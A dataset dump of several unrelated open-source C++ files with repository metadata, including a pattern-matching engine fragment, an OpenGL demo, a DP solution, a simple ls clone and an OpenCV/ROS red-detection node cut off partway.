// function call ended
else if (functionNest > startNest)
{
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERTABLOG,"");
--functionNest;
userCallArgumentIndex = argStack[functionNest]; // end of argument list (for next argument set)
userCallArgumentBase = baseStack[functionNest]; // base of macroArgumentList
ptr = ptrStack[functionNest];
globalDepth--;
continue; // resume prior processing
}
else
{
ReportBug("abnormal end");
return false;
}
break;
case '(': case '[': case '{': // nested condition (required or optional) (= consecutive [ = choice { = optional
hold = wildcardIndex;
{
int oldgap = gap;
unsigned int returnStart = positionStart,returnEnd = positionEnd;
unsigned int oldselect = wildcardSelector;
wildcardSelector = 0;
// nest inherits gaps leading to it. memorization requests withheld til he returns
matched = Match(ptr,depth+1,positionEnd,*word, positionStart == INFINITE_MATCH,gap,wildcardSelector,returnStart,returnEnd); // subsection ok - it is allowed to set position vars, if ! get used, they dont matter because we fail
wildcardIndex = hold; // flushes all wildcards swallowed within
wildcardSelector = oldselect;
if (matched)
{
positionStart = returnStart;
positionEnd = returnEnd;
if (positionEnd) olde = positionEnd - 1; // nested checked continuity, so we allow match whatever it found - but not if never set it (match didnt have words)
if (wildcardSelector)
gap = oldgap; // to know size of gap
}
}
ptr = BalanceParen(ptr); // ptr becomes AFTER ) } or ], closing out the list
returned = true;
if (!matched) // subsection failed, revert wildcard index - IF ! gets used, we will need this
{
if (*word == '{')
{
if (wildcardSelector & WILDSPECIFIC) // we need to memorize failure because optional cant fail
{
wildcardSelector ^= WILDSPECIFIC;
SetWildCard(0, (unsigned int)-1); // null match
}
if (gap) continue; // if we are waiting to close a wildcard, ignore our failed existence entirely
statusBits |= NOT_BIT; // we didnt match and pretend we didnt want to
}
else wildcardSelector = 0;
}
else if (*word == '{') // was optional, revert the wildcard index (keep position data)
{
wildcardIndex = hold; // drop any wildcards bound (including reserve)
if (!matched) continue; // be transparent in case wildcard pending
}
else if (wildcardSelector > 0) wildcardIndex = hold; // drop back to this index so we can save on it
break;
case ')': case ']': case '}' : // end sequence/choice/optional
matched = (kind == '('); // [] and {} must be failures if we are here
if (gap) // pending gap - [ foo fum * ] and { foo fot * } are pointless but [*3 *2] is not
{
if (depth != 0) // he cant end with a gap, we dont allow it for simplicity
{
gap = wildcardSelector = 0;
matched = false; // force match failure
}
else positionStart = lastwordIndex + 1; // at top level a close implies > )
}
break;
case '"': // double quoted string - bug re 1st position? // find LITERAL sequence (except for flipped words)
matched = FindSequence(word,(positionEnd < basicStart && firstMatched < 0) ? basicStart: positionEnd);
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
break;
case '%': // system variable
if (!word[1]) // the simple % being present
{
matched = MatchTest(FindWord(word),(positionEnd < basicStart && firstMatched < 0) ? basicStart: positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // possessive 's
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
}
else matched = HasProperty(word,NULL);
break;
case '?': // question sentence? or var in sentence?
if (!word[1]) matched = tokenFlags & QUESTIONMARK;
break;
case '=': // a comparison test - never quotes the left side. Right side could be quoted
// format is: = 1-bytejumpcodeToComparator leftside comparator rightside
if (!word[1]) // the simple = being present
{
matched = MatchTest(FindWord(word),(positionEnd < basicStart && firstMatched < 0) ? basicStart : positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // possessive 's
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
}
// if left side is anything but a variable $ or _ or @, it must be found in sentence and
// THAT is what we compare against
else
{
compare = word + uncode[word[1]];
char op[10];
char* opptr = compare;
op[0] = *opptr++;
op[1] = 0;
if (*opptr == '=') // was == op
{
op[1] = '=';
op[2] = 0;
++opptr;
}
*compare = 0; // temporarily separate left and right tokens
if (*opptr == '^') // local function argument, global var and global _
{
char* ptr;
if (opptr[1] == '$') ptr = GetUserVariable(opptr+1);
else if ( opptr[1] == '_') ptr = wildcardCanonicalText[opptr[2]-'0'];
else if (IsDigit(opptr[1])) ptr = macroArgumentList[atoi(opptr+2)+userCallArgumentBase];
ptr = SkipWhitespace(ptr);
strcpy(opptr,ptr);
}
// find $ in sentence
if (*op == '?' && word[2] == '$' && opptr[0] != '~')
{
char* val = GetUserVariable(word+2);
matched = MatchTest(FindWord(val),(positionEnd < basicStart && firstMatched < 0) ? basicStart : positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // MUST match later
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
break;
}
// find _ in sentence
if (*op == '?' && word[2] == '_' && opptr[0] != '~')
{
char* val = wildcardCanonicalText[word[3]-'0'];
matched = MatchTest(FindWord(val),(positionEnd < basicStart && firstMatched < 0) ? basicStart: positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // MUST match later
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
break;
}
char* at = &word[2];
bool quoted = false;
if (*at == '\'')
{
++at; // there is a quoted left side
quoted = true;
}
result = *at;
if (result == '|' || result == '%' || result == '$' || result == '_' || result == '@') // test directly (it will decode)
{
result = HandleRelation(word+2,op,opptr,false,id);
matched = (result & ENDCODES) ? 0 : 1;
}
else // FIND and then test
{
matched = MatchTest(FindWord(at),(positionEnd < basicStart && firstMatched < 0) ? basicStart : positionEnd,op,opptr,quoted); // MUST match later
if (!matched) break;
}
}
break;
case '\\': // escape to allow [ ] () < > ' { } ! as words
if (word[1] == '!') matched = (lastwordIndex && tokenFlags & EXCLAMATIONMARK) != 0; // exclamatory sentence
else
{
matched = MatchTest(FindWord(word+1),(positionEnd < basicStart && firstMatched < 0) ? basicStart : positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // MUST match later
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
}
break;
case '~': // current topic ~ and named topic
if (word[1] == 0)
{
matched = IsCurrentTopic(topicID);
break;
}
default: // ordinary words, concept/topic, numbers, : and ~ and | and & accelerator
matched = MatchTest(FindWord(word),(positionEnd < basicStart && firstMatched < 0) ? basicStart : positionEnd,NULL,NULL,statusBits & QUOTE_BIT); // MUST match later
if (!(statusBits & NOT_BIT) && matched && firstMatched < 0) firstMatched = positionStart; // first SOLID match
}
statusBits &= -1 ^ QUOTE_BIT; // turn off any pending quote
if (statusBits & NOT_BIT && matched) // flip success to failure
{
matched = false;
statusBits &= -1 ^ NOT_BIT;
positionStart = oldp; // restore any changed position values (if we succeed we would and if we fail it doesnt harm us)
positionEnd = olde;
}
// prove GAP was legal
unsigned int started = positionStart;
if (gap && matched)
{
started = (gap & 0x000000ff);
if ((positionStart - started) <= (gap >> 8)) olde = positionStart; // we know this was legal, so allow advancement test not to fail- matched gap is started...olde-1
else
{
matched = false; ; // more words than limit
wildcardSelector &= -1 ^ WILDGAP; // turn off any save flag
}
}
if (matched)
{
if (wildcardSelector) // memorize ONE or TWO things (ap will have been legal)
{
if (started == INFINITE_MATCH) started = 1;
if (wildcardSelector & WILDGAP) // would be first if both
SetWildCard(started,positionStart-1); // wildcard legal swallow between elements
if (positionStart == INFINITE_MATCH) positionStart = 1;
if (wildcardSelector & WILDSPECIFIC)
SetWildCard(positionStart,positionEnd); // specific swallow
}
gap = wildcardSelector = 0; /// should NOT clear this inside a [] or a {} on failure
}
else // fix side effects of anything that failed by reverting
{
positionStart = oldp;
positionEnd = olde;
if (kind == '(') gap = wildcardSelector = 0; /// should NOT clear this inside a [] or a {} on failure since they must try again
}
// end sequence/choice/optional
if (*word == ')' || *word == ']' || *word == '}')
{
if (matched)
{
if (statusBits & GAPPASSBACK ) // passing back a gap at end of nested (... * )
{
gap = statusBits & GAPPASSBACK;
wildcardSelector = statusBits & (WILDSPECIFIC|WILDGAP);
}
}
if (matched && firstMatched > 0) matched = firstMatched; // tell spot we matched for top level retry
success = matched != 0;
if (success && argumentText) // we are ok, but we need to resume old data
{
--globalDepth;
ptr = argumentText;
argumentText = NULL;
continue;
}
break;
}
// postprocess match of single word or paren expression
if (statusBits & NOT_BIT) // flip failure result to success now (after wildcardsetting doesnt happen because formally match failed first)
{
matched = true;
statusBits &= -1 ^ NOT_BIT;
}
// word ptr may not advance more than 1 at a time (allowed to advance 0 - like a string match or test)
// But if initial start was INFINITE_MATCH, allowed to match anywhere to start with
if (matched && oldp != INFINITE_MATCH && positionStart > (olde + 1) && positionStart != INFINITE_MATCH )
{
matched = false;
if ((int)positionEnd == firstMatched) firstMatched = 0; // cannot retry-- first match failed on position
}
// now verify position of match, NEXT is default for (type, not matter for others
if (kind == '(') // ALL must match in sequence
{
// we failed, retry shifting the start if we can
if (!matched)
{
if (wildstart && firstMatched > 0) // we are top level and have a first matcher, we can try to shift it
{
if (trace && TraceIt(PATTERN_TRACE)) Log(STDUSERTABLOG,"retry past %d ----------- ",firstMatched);
// reset to initial conditions, mostly
ptr = orig;
wildcardIndex = 0;
basicStart = positionEnd = firstMatched; // THIS is different from inital conditions
firstMatched = -1;
positionStart = INFINITE_MATCH;
gap = 0;
wildcardSelector = 0;
statusBits &= -1 ^ (NOT_BIT | FREEMODE_BIT);
if (argumentText) --globalDepth;
argumentText = NULL;
continue;
}
break; // default fail
}
if (statusBits & FREEMODE_BIT)
{
positionEnd = startposition; // allowed to pick up after here
positionStart = INFINITE_MATCH; // re-allow anywhere
}
}
else if (matched /* && *word != '>' */ ) // was could not be END of sentence marker, why not???
{
if (argumentText) // we are ok, but we need to resume old data
{
ptr = argumentText;
argumentText = NULL;
--globalDepth;
}
else
{
success = true; // { and [ succeed when one succeeeds
break;
}
}
}
// begin the return sequence
if (functionNest > startNest)// since we are failing, we need to close out all function calls in progress at this level
{
globalDepth -= (functionNest - startNest);
userCallArgumentIndex = argStack[startNest];
userCallArgumentBase = baseStack[startNest];
functionNest = startNest;
}
if (success)
{
returnstart = (firstMatched > 0) ? firstMatched : positionStart; // if never matched a real token, report 0 as start
returnend = positionEnd;
}
// if we leave this level w/o seeing the close, show it by elipsis
// can only happen on [ and { via success and on ) by failure
if (trace && depth && TraceIt(PATTERN_TRACE))
{
if (*word != ')' && *word != '}' && *word != ']')
{
if (success) Log(STDUSERTABLOG,"%c ... +%d:%d ",(kind == '{') ? '}' : ']',positionStart,positionEnd);
else Log(STDUSERTABLOG,") ... - ");
}
else if (*word == ')') Log(STDUSERLOG,"+%d:%d ",positionStart,positionEnd);
}
globalDepth--;
return success;
}
| [
"javiherrera@outlook.com"
] | javiherrera@outlook.com |
6f6947b52d264c61f14145b499b97662377fe9cc | 93b9224eb919d55785dad1bce649f35b85747ca8 | /modules/route.h | 2c9ffc65e624321b957f94089a4c7a3e56497477 | [] | no_license | piharpi/shiny-winner | 17604a9b081d57490429aa274ab991fec5ce592d | 79b628a1b0fb592f25a679002e19016344f4a991 | refs/heads/master | 2020-06-17T11:09:32.967852 | 2019-07-21T03:58:21 | 2019-07-21T03:58:21 | 195,906,575 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 565 | h | namespace Route
{
// Mengisi data vector dari file coffees.csv
void initialize(void);
// fungsi untuk mengarahkan menu
void Barista(void);
void Cashier(void);
void Customer(void);
// fungsi untuk customer
void order(void);
void show_coffees(void);
void search_coffees(void);
// fungsi untuk barista
void add_coffees(void);
void edit_coffees(void);
void delete_coffees(void);
void show_queues(void);
void delete_queues(void);
// fungsi untuk cashier
void paid(void);
void print(void); // progress
} // namespace Route
| [
"justharpi@gmail.com"
] | justharpi@gmail.com |
05a4a8ad1f7cc8b76a30054d8a1c8f42227da3c1 | 18872f8a224a4f5ee076fbfee451ac35bee00e46 | /.svn/pristine/8d/8d6a5f5c8737b7f28ad1b2299f28a8a364ebee7c.svn-base | e8fd96d4ab67605a37a8c98e235935827fb9363d | [] | no_license | chinabin/SVN_QPDianDianShiGuang | 80c8f7f5996c32ee52691d6b2d57a40aed82c567 | 0249c213d8b91f5289ee2fd3ec8947fedb8b8a4b | refs/heads/master | 2021-01-02T07:01:49.713188 | 2018-06-22T08:40:59 | 2018-06-22T08:40:59 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 682 | #ifndef _GATE_MANAGER_H_
#define _GATE_MANAGER_H_
#include "LBase.h"
#include "User.h"
#include "LSingleton.h"
class UserManager :public LSingleton<UserManager>
{
public:
virtual bool Init();
virtual bool Final();
void Tick();
User* GetUserByGateIdGateUserId(Lint gateId, Llong gateUserId);
User* GetUserbyDataId(Lint dataId);
void AddUser(User* user);
void DelUser(User* user);
void AddUserIdName(UserIdInfo& u);
UserIdInfo* GetUserIdInfo(Lint id);
void BoadCast(LMsg& msg);
private:
std::map<Llong, User*> m_userMap;
std::map<Lint, User*> m_userDataIdMap;
std::map<Lint,UserIdInfo> m_userIdInfo;
};
#define gUserManager UserManager::Instance()
#endif | [
"Administrator@PC-201805071800"
] | Administrator@PC-201805071800 | |
739aa5b6f8f00f74736664abde9a9a59db336db3 | 847602d467ba3a89b4a03b4aa1a5603f53b4206b | /projection/main.cpp | e5231360e473644f88456dafd82a249160705cb7 | [] | no_license | MiloSi/OpenGL_Study | 7caec42a5ee3ed37480ac5e49f20fe337dc2a677 | 8b242e7f0a6d88f10b9f7888da5daf5d9f6335b0 | refs/heads/master | 2021-01-23T10:29:45.709003 | 2017-07-08T14:47:15 | 2017-07-08T14:47:15 | 93,065,959 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 581 | cpp | #pragma once
#include "projection.h"
int main(int argc, char** argv) {
glutInit(&argc, (char**)argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH);
glutInitWindowSize(500, 500);
glutCreateWindow("ROTATE CUBE");
glutIdleFunc(reDisplay);
glutMouseFunc(mouseHandler);
glutMotionFunc(motionHandler);
glEnableClientState(GL_COLOR_ARRAY);
glEnableClientState(GL_VERTEX_ARRAY);
glVertexPointer(3, GL_FLOAT, 0, vertices);
glColorPointer(3, GL_FLOAT, 0, colors);
glutDisplayFunc(display);
init();
glutMainLoop();
return 0;
} | [
"noreply@github.com"
] | MiloSi.noreply@github.com |
84dcebb90fea1d0fbc9fcd66ca767ff6a348c7f2 | a5392bca8a2728980b7d2c42b846da1508c05634 | /barkingdog/09_dp/1149.cpp | 01d9e9e82dbe81611cceaae9f86cfb1592b095fd | [] | no_license | shin0park/Algorithm-Problems | 7d3a79054d4a10eadf38ef45910720eb14044689 | b8d9364e0ef5c8dc8bd197fd272f08e07b375225 | refs/heads/master | 2022-12-30T12:46:29.701349 | 2020-10-15T09:34:09 | 2020-10-15T09:34:09 | 288,099,317 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 797 | cpp | //1149번 RGB거리
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
const int MAX = 1001;
int n;
int d[MAX][3];
struct price
{
int r, g, b;
};
int main()
{
ios::sync_with_stdio(0);
cin.tie(0);
vector<price> s;
cin >> n;
int r, g, b;
s.push_back({0, 0, 0});
for (int i = 0; i < n; i++)
{
cin >> r;
cin >> g;
cin >> b;
s.push_back({r, g, b});
}
d[1][1] = s[1].r;
d[1][2] = s[1].g;
d[1][3] = s[1].b;
for (int i = 2; i <= n; i++)
{
d[i][1] = s[i].r + min(d[i - 1][2], d[i - 1][3]);
d[i][2] = s[i].g + min(d[i - 1][1], d[i - 1][3]);
d[i][3] = s[i].b + min(d[i - 1][1], d[i - 1][2]);
}
cout << min(d[n][1], min(d[n][2], d[n][3]));
return 0;
} | [
"qkrtlsdud428@gmail.com"
] | qkrtlsdud428@gmail.com |
bc63789e325a7369869a232e0bd472f8204ed3e9 | 8f000d2faef7eba48613d93395f70e1be63f76f8 | /.emacs.d/snippets/text-mode/cc-mode/c++-mode/class.cpp | af349196ed53b0b5ac3f816c00301e007b114922 | [] | no_license | dieonar/config | de40b22de2edecded3b7e464a612dc06ebeffc90 | 9643b4df71c2ec347b2248152e70d5255c7c646a | refs/heads/master | 2020-06-03T20:23:42.696034 | 2015-05-10T17:47:15 | 2015-05-10T17:47:15 | 26,487,216 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 398 | cpp | #name : class init cpp
# --
${1:`(file-name-nondirectory (file-name-sans-extension (buffer-file-name)))`}::${1:className}($2)
{
${3:init}
}
${1:className}::${1:className}(const ${1:className} &old)
{
${4:copy}
}
${1:className} &${1:className}::operator=(const ${1:className} &old)
{
${4:copy}
return (*this);
}
${1:className}::~${1:className}()
{
${5:delete}
}
| [
"jimmy.king@epitech.eu"
] | jimmy.king@epitech.eu |
925da345009cc2e50d925d8e84a54d25abbce9c4 | 648c333276d682abb7675fc555ee2297b9bd58e3 | /Animal.h | 1891c49451a05bc64fb73ec033229c6da732ff9a | [] | no_license | ppitu/WolfSheep | 5096006a20ebe9af87d301ed7f5a1fed89291a0c | 1dff7ef6027a05ae5ffe4fc6ea1ee056f094b0db | refs/heads/master | 2022-12-01T00:17:05.559347 | 2020-08-05T20:48:07 | 2020-08-05T20:48:07 | 284,419,124 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 414 | h | #pragma once
#include <iostream>
#include <string>
#include <random>
#include <iterator>
class Animal
{
public:
Animal() = default;
Animal(int* map, int _size, std::string _name);
virtual int move(int *map, int _size);
unsigned int drawUInt(int first, int last);
unsigned int getPosition();
bool checkIfEaten(int* map);
std::string getName();
protected:
unsigned int uposition;
std::string name;
};
| [
"piotr.chmura.1998@o2.pl"
] | piotr.chmura.1998@o2.pl |
1c4436a15f5c60879266d5f7f86f1bb3bb212f80 | fdb963647dc9317947943874a51f58c1240f994c | /project/Framework/Transition/BaseTransitionMask.cpp | d90579116f1b4a2d333d836474f6b1cf76912309 | [
"MIT"
] | permissive | SomeTake/HF21MisotenH206 | 0f2e5e92a71ef4c89b43c4ebd8d3a0bf632f03b4 | 821d8d4ec8b40c236ac6b0e6e7ba5f89c06b950d | refs/heads/master | 2020-07-25T07:44:09.728095 | 2020-01-17T10:15:03 | 2020-01-17T10:15:03 | 208,212,885 | 0 | 2 | MIT | 2020-01-17T08:00:14 | 2019-09-13T07:02:16 | C++ | SHIFT_JIS | C++ | false | false | 2,365 | cpp | //=====================================
//
//ベーストランジション処理[BaseTransitionMask.cpp]
//Author:GP12A332 21 立花雄太
//
//=====================================
#include "BaseTransitionMask.h"
#include "../Renderer2D/Polygon2D.h"
/**************************************
staticメンバ
***************************************/
const int BaseTransitionMask::FramePerSecond = 30;
/**************************************
コンストラクタ
***************************************/
BaseTransitionMask::BaseTransitionMask()
{
//フラグ初期化
active = false;
isTransitionOut = false;
}
/**************************************
デストラクタ
***************************************/
BaseTransitionMask::~BaseTransitionMask()
{
}
/**************************************
マスク開始処理
***************************************/
void BaseTransitionMask::BeginMask()
{
LPDIRECT3DDEVICE9 pDevice = GetDevice();
if (!active)
return;
pDevice->SetRenderState(D3DRS_ZWRITEENABLE, false);
pDevice->SetRenderState(D3DRS_STENCILENABLE, true);
pDevice->SetRenderState(D3DRS_STENCILMASK, 0xff);
pDevice->SetRenderState(D3DRS_STENCILFUNC, D3DCMP_ALWAYS);
pDevice->SetRenderState(D3DRS_COLORWRITEENABLE, 0x00);
pDevice->SetRenderState(D3DRS_STENCILFAIL, D3DSTENCILOP_KEEP);
pDevice->SetRenderState(D3DRS_STENCILZFAIL, D3DSTENCILOP_KEEP);
pDevice->SetRenderState(D3DRS_STENCILPASS, D3DSTENCILOP_INCRSAT);
pDevice->SetRenderState(D3DRS_ALPHATESTENABLE, true);
pDevice->SetRenderState(D3DRS_ALPHAREF, 0);
pDevice->SetRenderState(D3DRS_ALPHAFUNC, D3DCMP_GREATER);
pDevice->Clear(0, 0, D3DCLEAR_STENCIL, 0, 0.0f, 0);
}
/**************************************
マスク終了処理
***************************************/
void BaseTransitionMask::EndMask()
{
if (!active)
return;
LPDIRECT3DDEVICE9 pDevice = GetDevice();
pDevice->SetRenderState(D3DRS_STENCILENABLE, false);
pDevice->SetRenderState(D3DRS_STENCILREF, 1);
pDevice->SetRenderState(D3DRS_STENCILFUNC, D3DCMP_LESS);
pDevice->SetRenderState(D3DRS_STENCILPASS, D3DSTENCILOP_KEEP);
pDevice->SetRenderState(D3DRS_COLORWRITEENABLE,
D3DCOLORWRITEENABLE_RED |
D3DCOLORWRITEENABLE_GREEN |
D3DCOLORWRITEENABLE_BLUE |
D3DCOLORWRITEENABLE_ALPHA);
pDevice->SetRenderState(D3DRS_ZWRITEENABLE, true);
pDevice->SetRenderState(D3DRS_ALPHATESTENABLE, false);
} | [
"yuta.tachibana0310@gmail.com"
] | yuta.tachibana0310@gmail.com |
ed3a4c51e06bf42acf6a4a8a9853c0f8899ba8d4 | e88e91f8be9f62500591bc0f413fc213fc241fec | /forduo1/tv_optim/src/PrioNodeQueue.hpp | 016eb2b2577c95d7e0600a23cfe347547c01493f | [] | no_license | matthiasvegh/nng2014 | e0e19ea83a1733ef38dc588f7c662ab01639f4bc | 7d4af2e0a8416ef65abbeb9aef37f8b6025f3df8 | refs/heads/master | 2021-01-19T08:37:05.593858 | 2014-11-28T17:42:29 | 2014-11-28T17:42:29 | 27,274,398 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 852 | hpp | #ifndef PRIONODEQUEUE_H
#define PRIONODEQUEUE_H
#include "Node.hpp"
#include <queue>
struct NodeCompare {
bool operator()(const Node::Ptr& lhs, const Node::Ptr& rhs)
{
auto costFgv1 = lhs->costFgv();
auto costFgv2 = rhs->costFgv();
if (costFgv1 == costFgv2) {
return lhs->time < rhs->time;
}
return costFgv1 > costFgv2;
}
};
class PrioNodeQueue {
std::priority_queue<Node::Ptr, std::vector<Node::Ptr>, NodeCompare> queue;
public:
void push(const Node::Ptr &node)
{
queue.push(node);
}
Node::Ptr pop() {
if (queue.empty())
return Node::Ptr();
Node::Ptr result = queue.top();
queue.pop();
return result;
}
Node::Ptr peek() const
{
if (queue.empty())
return Node::Ptr();
Node::Ptr result = queue.top();
return result;
}
size_t size() const
{
return queue.size();
}
};
#endif /* PRIONODEQUEUE_H */
| [
"kangirigungi@gmail.com"
] | kangirigungi@gmail.com |
1f6a2c57f1d7ef6a70ccf530eb990ee6e8cdf290 | ff6c97822fcf99aa4a083fb87208290fb7a34510 | /ls/main.cpp | 8299b5be06214bc5595d240ddb2e79ca4f2f16ed | [] | no_license | maximzubkov/Parallel | b64804b3e36ec18f6716cf11ee405cbed0bf0bbe | 1ec11b25c994802958726a7b4b3ca0334ba1527d | refs/heads/master | 2020-05-29T22:23:23.378401 | 2019-06-05T21:23:20 | 2019-06-05T21:23:20 | 189,407,775 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,592 | cpp | #include <stdio.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
#include <grp.h>
#include <errno.h>
#include "queue.h"
#include "flag_print.h"
int flag = 1;
struct queue * q;
void str_dir_cat (char name[], const char * tail, const char * head)
{
// Функция для того, чтобы к уже
// имеющимуся пути head добавить "/tail"
strcpy(name, tail);
*name = *strcat(name, "/");
*name = *strcat(name, head);
}
int dirwork(char *name, struct flag_struct * f) {//Работа с директориями
DIR *dir;
struct stat buf;
struct dirent *entry;
char path[1025];
//int colomn = 1;
//int num = 0;
if (f->d_flag == 1) {
printf("%s\n", name);
if (f->l_flag == 1) {
if_l(name, f->n_flag);
}
if (f->n_flag == 1) {
if_n(name);
}
if (f->i_flag == 1) {
if_i(name);
}
return 0;
}
dir = opendir(name);
while ((entry = readdir(dir)) != NULL) {// Цикл чтения
if (f->d_flag) {
printf("%s", name);
get_stat(name, f);
break;
}
if (entry->d_name[0] == '.') {
if (f->a_flag) {
printf("%s", entry->d_name);
get_stat(name, f);
continue;
}
if (f->R_flag == 1)
{
continue;
}
} else {
if (f->R_flag)// Рекурсия
{
str_dir_cat(path, name, entry->d_name);// Создание абсолютного пути
if (stat(name, &buf) < 0) {
printf("ERROR\n");
return 0;
}
if (S_ISDIR(buf.st_mode)) {
if (flag) {
q_pushback(q, path);
}
else
q_pushfront(q, path);
}
}
}
if(f->n_flag == 1 || f->l_flag == 1 || f->i_flag == 1)
{
get_stat(name, f);
printf("%s\n", entry->d_name);
}
else {
// num = 0;
/*if (colomn % 8 == 0) {
printf("\n");
}
while (entry->d_name[num] != '\0') {
num++;
}*/
printf("%s\n", entry->d_name);
/*while (24 - num > 0) {
printf(" ");
num++;
}
colomn++;*/
}
}
printf("\n");
closedir(dir);
flag = 0;
while (q_empty(q) == 0) {
char nema[100];
q_pop(nema, q);
dir = opendir(nema);
if (dir != NULL) {
printf("\n%s:\n", nema);
dirwork(nema, f);
}
}
return 0;
}
int main(int argc, char *argv[]) {
struct flag_struct * f = f_create();
char c;
q = q_create(10000);
while ((c = getopt(argc, argv, "alnRid")) != -1)// Проверка флагов
{
switch (c) {
case 'a':
f->a_flag = 1;
break;
case 'l':
f->l_flag = 1;
break;
case 'n':
f->n_flag = 1;
break;
case 'R':
f->R_flag = 1;
break;
case 'i':
f->i_flag = 1;
break;
case 'd':
f->d_flag = 1;
break;
}
}
char * curr_dir = getenv("PWD");
int i = 0;
int no_dir = 1;
struct stat info;
for (i = 1; i < argc; i++) {// Проверка существование директорий или файлов среди аргументов, с последующим ls
if (argv[i][0] != '-') {
if (stat(argv[i], &info) != 0) {
perror("Stat_error");
no_dir = 0;
}
if (S_ISDIR(info.st_mode)) {
dirwork(argv[i], f);
no_dir = 0;
} else if (S_ISREG(info.st_mode)) {
printf("%s", argv[i]);
no_dir = 0;
}
if(argc - 1 != i) {
printf("\n");
}
}
}
//f->n_flag = 1;
//f->R_flag = 1;
//strcpy(curr_dir, "./test");
if (no_dir == 1)
dirwork(curr_dir, f);
printf("\n");
return 0;
} | [
"Zubkov.MD@phystech.edu"
] | Zubkov.MD@phystech.edu |
1107145724e0a4ccc059fda88db58df05b95e4eb | 28c3e244f601e93fb5235159bc16fe40b16056ea | /D.cpp | ff1aba591cf1f5bcb1b368c905fcd87ffeee704e | [] | no_license | viserys3/AtCoder-Educational-DP-Codes | 11f4b848261d28678d2f95260da1d907cea80466 | 9df340ae240c81bbd2262e8282866c678719670e | refs/heads/master | 2022-07-04T13:46:29.465543 | 2020-05-11T17:41:44 | 2020-05-11T17:41:44 | 261,144,347 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 691 | cpp | #include<iostream>
#include<bits/stdc++.h>
using namespace std;
long long util(vector<int>&w,vector<int>&v,int W)
{
int n=w.size();
long long dp[n+1][W+1];
for(int i=0;i<=n;i++)
{
for(int j=0;j<=W;j++)
dp[i][j]=0;
}
for(int i=1;i<=n;i++)
{
for(int j=1;j<=W;j++)
{
if(w[i-1]>j)
dp[i][j]=dp[i-1][j];
else
{
dp[i][j]=max(dp[i-1][j],(long long)v[i-1]+dp[i-1][j-w[i-1]]);
}
}
}
return dp[n][W];
}
int main()
{
int n,W;
cin>>n>>W;
vector<int> w,v;
for(int i=0;i<n;i++)
{
int tw,tv;
cin>>tw>>tv;
w.push_back(tw);
v.push_back(tv);
}
long long ans=util(w,v,W);
cout<<ans<<endl;
return 0;
}
| [
"noreply@github.com"
] | viserys3.noreply@github.com |
07965b2d0f32760835de3604079722f919284fbd | 5f124f4285928b93318b8062bfd386a0620acd4e | /inc/SerialWriter.hh | 36beb02d7b023355eca2282e27cb30e695df80c5 | [] | no_license | HBassinot/CPP_vmunier_hbassino | d504f3b0a1bd554a3feb7e78eb2a463b373c597c | aceff865d1b74ddcbfaf8cd3d3ce7377f8352860 | refs/heads/master | 2021-01-19T00:19:44.438698 | 2011-12-02T20:56:21 | 2011-12-02T20:56:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 570 | hh | /**
* \file SerialWriter.hh
* \author Vincent MUNIER, Hervé BASSINOT
*/
#ifndef H_SERIALWRITER_H
#define H_SERIALWRITER_H
#include <fstream>
#include <typeinfo>
using namespace std;
class SerialWriter
{
public:
SerialWriter(ofstream& outfile);
template <typename T>
void write(const T& val) {
m_outfile << typeid(val).name();
m_outfile << " ";
m_outfile << val;
m_outfile << " ";
}
virtual ~SerialWriter() {
m_outfile.close();
}
private:
ofstream& m_outfile;
};
#endif /* H_SERIALWRITER_H */
| [
"seab.vince@gmail.com"
] | seab.vince@gmail.com |
f5f38484646f83f2e7f2954ee7ee2a8ae05c04bb | a048d44d5432d0bc9ac351760873ee48b9285648 | /test/RedDetect.cpp | 659d85c6d8df781a3dca97defb2e43b9b9306fa8 | [] | no_license | nc61/robot | 3cc86c3bd9e4bb3fd02e73cab767f9c97070b3b1 | b2c41680bc1d9a74ff239c8d47e100432a69cfe7 | refs/heads/master | 2016-09-08T01:42:06.168533 | 2014-01-02T07:15:25 | 2014-01-02T07:15:25 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,731 | cpp | #include <stdio.h>
#include <opencv2/opencv.hpp>
#include <iostream>
#include <ros/ros.h>
#include "std_msgs/Float32.h"
#include "Common.h"
using namespace cv;
IplImage* GetThresholdedImage(IplImage *img)
{
IplImage* imgHSV = cvCreateImage(cvGetSize(img), 8, 3);
cvCvtColor(img, imgHSV, CV_BGR2HSV);
IplImage* imgThreshed = cvCreateImage(cvGetSize(img), 8, 1);
cvInRangeS(imgHSV, cvScalar(0,100,100), cvScalar(10,255,255), imgThreshed);
cvReleaseImage(&imgHSV);
return imgThreshed;
}
int main( int argc, char** argv )
{
ros::init(argc, argv, "openCV");
ros::NodeHandle nh;
ros::Publisher colorPub = nh.advertise<std_msgs::Float32>("color_data", 3);
ros::Rate loop_rate(LOOP_RATE);
CvCapture* capture = cvCaptureFromCAM(1);
IplImage* image = 0;
IplImage* redTrack = 0;
float moment10;
